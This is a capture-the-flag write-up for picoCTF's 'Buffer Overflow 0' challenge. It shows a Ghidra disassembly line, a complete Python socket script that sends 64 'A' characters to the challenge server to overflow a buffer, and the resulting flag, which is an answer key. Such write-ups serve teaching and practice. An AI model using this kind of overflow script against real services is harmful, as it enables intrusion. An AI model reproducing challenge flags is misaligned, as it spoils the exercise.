Contents

picoCTF - Binary Exploitation - Buffer Overflow 0


Binary Exploitation - buffer overflow 0 - writeup

Description

Smash the stack

Let’s start off simple, can you overflow the correct buffer?

The program is available here.

You can view source here.

And connect with it using: nc saturn.picoctf.net 57331

Writeup

First I checked the strings of the binary file using the strings command but unfortunately I did not find anything interesting.

Let’s fire up Ghidra and see what we’ve got here …

With ghidra I can see that the main function is calling a method called ‘vuln()’:

1
00011472 e8 dc fe ff ff       CALL       vuln     undefined vuln(undefined4 param_1)

After trying out some stuff I figured out that we just need to supply a lot of characters to overflow the buffer.

So I went ahead and wrote a simple buffer overlow program using python sockets:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys, socket, time
 
host = "saturn.picoctf.net" # set host address
port = 57331 # set host port

try:
	ip = socket.gethostbyname( host )
except socket.gaierror:
	#could not resolve
	print('Hostname could not be resolved. Exiting')
	sys.exit()
 
# Unique Pattern
# this is our char pattern we send to overflow 
# the buffer. A char is 1 byte in size.
# So we will overflow the buffer using 64 bytes.
pattern = 'A'*64 + '\n'
 
try:
	client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Declare a TCP socket
	client.setblocking(0)
	client.settimeout(10)
	client.connect((ip, int(port))) # Connect to user supplied port and IP address
except IOError:
	print("Connection failed!")

try:
	msg = client.recv(4096).decode("utf-8") # Receive msg
	
	if msg:
		print("received msg: " + msg)
	else:
		print('disconnected')
except socket.timeout:
	print("Error! Socket did not get info, when expected")
except socket.error:
	print("Error! Socket did not get info, when expected")
	
print("ok")

try:
	client.send(pattern.encode()) # Send the unique pattern
	time.sleep(1)
	print("done sending")

	data = client.recv(4096)
	print("received...")

	if data:
		print(data)

except socket.timeout:
	print("Error! Socket did not get info, when expected")
except socket.error:
	print("Error! Socket did not get info, when expected")


client.close() # Close the Connection

After running my exploit I get the following response:

1
2
3
4
5
received msg: Input: 
ok
done sending
received...
picoCTF{ov3rfl0ws_ar3nt_that_bad_9d9ee6b9}

So here is our flag:

1
picoCTF{ov3rfl0ws_ar3nt_that_bad_9d9ee6b9}